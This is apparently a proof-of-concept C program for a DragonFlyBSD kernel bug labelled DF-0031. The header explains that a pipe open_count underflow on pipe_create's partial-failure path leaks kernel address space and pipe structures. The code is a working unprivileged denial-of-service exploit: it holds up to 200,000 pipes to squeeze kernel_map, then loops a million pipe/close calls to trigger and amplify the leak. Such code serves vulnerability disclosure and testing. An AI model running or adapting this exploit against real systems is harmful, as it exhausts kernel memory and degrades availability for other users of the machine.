DF-0031 / pipe_leak.c
/* * DF-0031 PoC - pipe->open_count underflow on pipe_create partial failure * leaks kernel KVA + pipe struct (memory-pressure amplification). * * pipe_create (sys/kern/sys_pipe.c:433) sets *pipep=pipe BEFORE the pipespace() * calls (:434/:437) and only sets open_count=2 at :445 AFTER both succeed. If * pipespace(&bufferB) fails (vm_map_find ENOMEM on kernel_map), pipe_create * returns with open_count still 0 (M_ZERO at :426). kern_pipe's error path * (:287-288) then calls pipeclose() twice; each pipeclose does * atomic_fetchadd_int(&open_count, -1) at :1272 and only frees when the OLD * value == 1. With open_count=0 the sequence is 0 -> 0xFFFFFFFF -> 0xFFFFFFFE, * never 1, so the pipe struct and bufferA's KVA are leaked permanently and * open_count is corrupted. * * Reachability: an unprivileged user allocating many pipes consumes kernel_map * KVA (each pipe ~ 2*pipe_size). As kernel_map approaches exhaustion, new * pipe_create calls hit the second-pipespace failure and leak further, * self-amplifying the pressure. Pure availability amplification (KVA/struct * leak), no confidentiality/integrity impact. * * Build (DragonFlyBSD): cc -o pipe_leak pipe_leak.c * Run as an UNPRIVILEGED user (disposable VM): ./pipe_leak * * Expected (bug present): under kernel_map pressure, repeated pipe(2)+close * leaks KVA/structs (observe via vmstat -z / pipe-zone count growth, or * kernel_map free-space shrinkage). No panic on its own. */ #include <unistd.h> #include <fcntl.h> #include <stdio.h> int main(void) { long opened = 0, leaks = 0; /* * Step 1: open a great many pipes (and keep them) to push kernel_map * toward exhaustion. Each open pipe holds ~2*pipe_size of KVA. */ enum { HOLD = 200000 }; static int held[HOLD]; int n = 0; for (long i = 0; i < HOLD; i++) { int p[2]; if (pipe(p) != 0) break; held[n++] = p[0]; held[n++] = p[1]; } fprintf(stderr, "[*] holding %d pipe fds to build kernel_map pressure\n", n); /* * Step 2: hammer pipe(2)+close. Once kernel_map is tight, the second * pipespace() in some pipe_create calls fails and leaks the struct + * bufferA KVA via the open_count underflow. */ for (long i = 0; i < 1000000L; i++) { int p[2]; if (pipe(p) == 0) { opened++; close(p[0]); close(p[1]); } else { leaks++; /* pipe() failed -> likely the bufferB-pipespace failure */ } } fprintf(stderr, "[*] opened=%ld failures(likely underflow-leak path)=%ld\n", opened, leaks); fprintf(stderr, "[*] check `vmstat -z` / pipe zone and kernel_map free" " space for cumulative KVA/struct leak\n"); return 0; } |